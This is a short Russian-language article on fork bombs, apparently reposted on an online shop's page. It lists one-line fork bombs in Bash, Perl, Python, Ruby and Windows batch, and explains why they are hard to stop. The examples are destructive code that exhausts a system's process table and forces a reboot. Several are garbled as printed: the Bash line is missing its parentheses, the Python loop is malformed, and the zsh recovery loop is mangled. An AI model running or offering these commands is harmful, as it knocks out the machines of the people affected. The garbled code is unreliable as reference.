Интернет магазин китайских планшетных компьютеров



Компьютеры - Fork-бомба - Примеры fork-бомб на разных языках программирования

23 января 2011


Оглавление:
1. Fork-бомба
2. Описание
3. Примеры fork-бомб на разных языках программирования
4. Предотвращение



Bash:

 :{ :|:& };:

Perl:

 fork while fork

Python:

import os
 
while:
      os.fork

Ruby:

fork while fork

Второй вариант:

loop { fork }

Пакетный файл Microsoft Windows:

:s
start %0
goto :s

Более элегантный вариант:

%0|%0

Псевдокод:

алг ПрограммаX
пока истина
   нц
      вызов ПрограммаX
   кц
кон алг ПрограммаX

Трудность ликвидации

В случае успешного срабатывания fork бомбы становится трудным или практически невозможным восстановить нормальную работу ЭВМ без перезагрузки, так как единственный способ прекратить работу fork бомбы — это одновременное прекращение работы всех работающих копий fork бомбы. В большинстве реализаций операционных систем вызов команды для прекращения работы процесса требует запуска нового процесса, что в условиях успешно работающей fork бомбы невозможно.

Однако, на практике некоторые fork бомбы не требуют таких радикальных мер и могут быть уничтожены без необходимости перезагрузки. Рассмотрим, например, случай бомбы из примера выше:

 :{ :|:& };:

Особенность этого кода в том, что он не зацикливается после неуспешного порождения своих копий, а завершает работу. В результате список процессов постоянно находится на грани заполнения: одна из копий fork бомбы завершается, и освобождающееся место тут же занимается новосозданным процессом из другой копии fork бомбы. Становится возможным конкурировать с fork бомбой за захват места в списке процессов. Тогда возможно рано или поздно запустить команду для одновременного уничтожения всех копий fork бомбы или запустить безопасную программу, которая будет постепенно «отвоёвывать» место в списке процессов до завершения работы последнего процесса fork бомбы. Пример такой безопасной программы на zsh:

 while  do; done


Просмотров: 3682


<<< BMW Hash function
FreeBASIC >>>